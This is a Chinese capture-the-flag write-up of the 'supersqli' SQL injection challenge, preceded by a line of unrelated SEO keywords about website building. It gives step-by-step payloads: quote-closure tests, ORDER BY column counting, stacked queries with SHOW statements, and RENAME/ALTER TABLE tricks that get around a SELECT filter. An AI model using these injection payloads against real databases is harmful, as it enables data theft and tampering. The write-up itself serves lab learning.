企业网站设计素材,湟中县公司网站建设,企业没有做网站有的坏处,中铁建设集团有限公司总承包公司这是题目#xff0c;题目看起来像是sql注入的题#xff0c;先试一下最常规的#xff0c;输入1#xff0c;回显正常 输入1‘#xff0c;显示错误 尝试加上注释符号#或者–或者%23#xff08;注释掉后面语句#xff0c;使1后面的单引号与前面的单引号成功匹配就不会报错… 这是题目题目看起来像是sql注入的题先试一下最常规的输入1回显正常 输入1‘显示错误 尝试加上注释符号#或者–或者%23注释掉后面语句使1后面的单引号与前面的单引号成功匹配就不会报错页面回显正常那么闭合符号就是单引号。 输入1# 正常回显可以得出结论注入类型为字符型构造?inject1’ --
证实了闭合方式为单引号接下来判断列数构造1’ order by 2 -- 正常回显再构造1’ order by 3 -- 显示没有第三列得出结论只有两列
再尝试联合查询构造1’ union select 1,2 -- 显示被过滤说明不能用select获取那只能尝试堆叠注入 构造1’; show databases; -- 得到数据库的信息看到了supersqli再查表的信息构造1’; show tables; -- 得到 再查列名 构造1’; show columns from words;– 没有关键信息 用其他表试下 构造1’;use supersqli;show columns from 1919810931114514;– 得到flag信息由于select被过滤无法直接查询所以又要考虑绕过方式了 考虑用rename改变表名通过上面我们可以知道回显的表是words表因为当我们提交1的时候回显的是words表中的内容
所以现在需要把表1919810931114514改名为words并增加相应字段把words改为其他名字 构造1’;rename tables words to words1;rename tables 1919810931114514 to words; alter table words change flag id varchar(100);– 修改完成后再注入 构造1’ or 11#
得到flag
总结主要考查SQL注入以及绕过筛选的能力
知识点1.SQL注入的原理是后台会获取页面传过去的变量从数据库里查询数据当我们页面传入SQL语句时后台会将SQL语句带入执行导致不该被查询的数据反馈到页面。 2.–是注释符号–后面的语句不会再执行 3.SQL语句一般会以’结尾 4.order by 是将查到的数据按降序或者升序排列后面跟数字就是按照对应的字段查询数据如果报错说明没有这一列 5.SQL联合查询UNION是用于从一个或多个表中检索数据的高级特性。通过联合查询我们可以将多个SELECT语句的结果组合成一个查询结果集并返回给用户。但是请注意为了联接每个查询都必须具有相同的列数和数据类型。可以用来测试是否进行了关键字过滤 6.show databases显示所有数据库 7.show columns显示所有字段 8.rename:RENAME命令 RENAME命令用于修改表的名称命令格式rename table 原表名 to 新表名;